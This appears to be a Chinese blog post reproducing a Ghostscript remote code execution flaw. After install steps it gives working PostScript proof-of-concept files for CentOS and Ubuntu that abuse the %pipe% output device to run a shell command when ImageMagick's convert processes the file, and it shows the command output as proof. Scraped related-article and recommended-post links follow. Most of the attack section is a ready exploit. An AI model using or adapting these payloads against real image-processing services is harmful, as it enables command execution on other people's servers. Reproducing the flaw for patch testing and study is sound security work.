Ghostscript远程代码执行漏洞利用方法
昨天爆出来的Ghostscript远程代码执行漏洞,复现过程如下
1、确认系统是否安装了gs
执行命令
gs -q -sDEVICE=ppmraw -dSAFER -sOutputFile=/dev/null
如果命令没有执行成功,那么恭喜你,你没有这个漏洞
要想复现这个漏洞,那么你需要
yum install ghostscript
ubuntu
[root@srv62 ~]# cd /usr/local
[root@srv62 src]# wget http://ghostscript.com/releases/ghostscript-8.71.tar.gz
[root@srv62 src]# tar zxvf ghostscript-8.71.tar.gz
[root@srv62 src]# cd ghostscript-8.71
[root@srv62 ghostscript-8.71]# ./configure --prefix=/usr
[root@srv62 ghostscript-8.71]# mkdir obj
[root@srv62 ghostscript-8.71]# mkdir bin
[root@srv62 ghostscript-8.71]# make all
[root@srv62 ghostscript-8.71]# make install
2、命令执行成功了,说明系统已经安装了ghost script,然后我们来构造poc
vim shell.jpe
jpeg内容(centos)
%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%id) currentdevice putdeviceprops
然后执行
/usr/local/bin/convert shell.jpeg what.gif
现象:
uid=(rong) gid=(rong) groups=(rong)
convert: FailedToExecuteCommand `"gs" -q -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap= -dAlignToPixels= -dGridFitTT= "-sDEVICE=pngalpha" -dTextAlphaBits= -dGraphicsAlphaBits= "-r72x72" -g612x792 "-sOutputFile=/tmp/magick-55636ecO6hPgbKE2Y%d" "-f/tmp/magick-55636NeGRLWbqeU7E" "-f/tmp/magick-55636jIlkxkc2rfdl" -c showpage' (-1) @ error/utility.c/SystemCommand/2051.
convert: no images defined `what.gif' @ error/convert.c/ConvertImageCommand/3187
ubuntu环境下POC:
%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%id) currentdevice putdeviceprops
Ghostscript远程代码执行漏洞利用方法的更多相关文章
- [视频]K8飞刀--WinRAR远程代码执行漏洞利用视频
[视频]K8飞刀--WinRAR远程代码执行漏洞利用视频 链接:https://pan.baidu.com/s/17_0kgNsDejJS0hvgLiMD7A 提取码:zkc2
- ghostscript远程代码执行漏洞复现
这两天网上ghostscript又又有漏洞信息了,但是没有poc,于是找找资料把今年8月21日的那个验证下 1.关于ghostscript Ghostscript是一套建基于Adobe.PostScr ...
- EOS节点远程代码执行漏洞细节
这是一个缓冲区溢出越界写漏洞 漏洞存在于在 libraries/chain/webassembly/binaryen.cpp文件的78行, Function binaryen_runtime::ins ...
- 泛微e-cology OA系统远程代码执行漏洞及其复现
泛微e-cology OA系统远程代码执行漏洞及其复现 2019年9月19日,泛微e-cology OA系统自带BeanShell组件被爆出存在远程代码执行漏洞.攻击者通过调用BeanShell组件中 ...
- 【漏洞公告】CVE-2017-12615/CVE-2017-12616:Tomcat信息泄漏和远程代码执行漏洞
2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞,漏洞CVE编号:CVE-2017-12615和CVE-2017-12616,该漏洞受影响版本为7.0-7.80之间,在一定 ...
- Struts2 REST 插件 XStream 远程代码执行漏洞 S2-052 复现过程
v\:* {behavior:url(#default#VML);} o\:* {behavior:url(#default#VML);} w\:* {behavior:url(#default#VM ...
- 【漏洞复现】Tomcat CVE-2017-12615 远程代码执行漏洞
漏洞描述 [漏洞预警]Tomcat CVE-2017-12615远程代码执行漏洞/CVE-2017-12616信息泄漏 https://www.secfree.com/article-395.html ...
- Office CVE-2017-8570远程代码执行漏洞复现
实验环境 操作机:Kali Linux IP:172.16.11.2 目标机:windows7 x64 IP:172.16.12.2 实验目的 掌握漏洞的利用方法 实验工具 Metaspliot:它是 ...
- Apache ActiveMQ Fileserver远程代码执行漏洞
扫端口的时候遇到8161端口,输入admin/admin,成功登陆,之前就看到过相关文章,PUT了一句话上去,但是没有什么效果,于是本地搭建了一个环境,记录一下测试过程. 环境搭建: ActiveMQ ...
随机推荐
- react实例:理解dva构建项目的原理
请点击相应的步骤查看详情 我们首先搭建一个 dva Demo 项目(请参考react快速构建一个应用项目),然后逐步完成以下内容: 结构划分 设计 Model 组件设计方法 组件设计实践 添加 Re ...
- 6.servlet和jsp的区别
servlet和jsp的区别 jsp作为Servlet技术的扩展,经常会有人将jsp和Servlet搞混.本文,将为大家带来servlet和jsp的区别,希望对大家有所帮助. servlet和jsp的 ...
- [转载]Cool, Tomcat is able to handle more than 13,000 concurrent connections
Last time I have promised you to take a look at more real life scenario regarding threads. In the la ...
- Android笔记:解决 Your project contains error(s),please fix them before running your application问题
解决 Your project contains error(s),please fix them before running your application问题 貌似好多人都有遇到这问题,而且网 ...
- Java中的消息框
JOptionPane.showMessageDialog(newFrame.getContentPane(),"弹出的是消息提示框!", "系统信息", JO ...
- [翻译] TCBlobDownload
TCBlobDownload TCBlobDownload uses NSOperations to download large files (typically videos, music... ...
- 安装启动apache2.4后报Invalid command 'order', perhaps misspelled or defined by a module not included
httpd.conf中修改 重启Apache 报错. 在网上搜索了一下,大多是说mod_authz_host.so模块没有加载,但检查后发现httpd.conf中: 该模块并未被注释掉,那原因究竟出在 ...
- Centos7 教程收集ing
CentOS7 常用命令集合 https://blog.csdn.net/o0darknessyy0o/article/details/52072054#t1 1.centOS7下实践查询版本/CPU ...
- September 24th 2017 Week 39th Sunday
To live is the rarest thing in the world. Most people exist. That is all. 生活是世间最罕见的事情:生存,却是世间最常见的事情: ...
- 解决qpidd服务安装不上的问题
前几天对一个文件夹命名,忘记了qpidd的路径在这个文件夹的下面,导致后来qpidd用不了. 并且有打开计算机-管理-服务时,看到Advanced MessageQueuing Protocol 未启 ...